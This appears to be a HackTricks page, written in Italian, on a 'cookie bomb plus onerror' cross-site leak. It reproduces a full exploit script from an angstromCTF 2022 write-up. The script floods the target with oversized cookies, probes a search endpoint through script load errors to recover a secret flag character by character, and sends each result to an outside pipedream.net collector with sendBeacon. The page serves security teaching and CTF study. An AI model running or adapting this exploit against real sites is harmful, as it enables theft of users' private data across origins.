hacktricks/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

# Cookie Bomb + Onerror XS Leak

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Il seguente **script** preso da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) sfrutta una funzionalità che consente all'utente di **inserire qualsiasi quantità di cookie**, e poi caricare un file come script sapendo che la vera risposta sarà più grande di quella falsa e poi. Se ha successo, la risposta è un reindirizzamento con un URL risultante più lungo, **troppo grande per essere gestito dal server quindi restituisce un codice di stato http di errore**. Se la ricerca fallisce, non succederà nulla perché l'URL è breve.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
```
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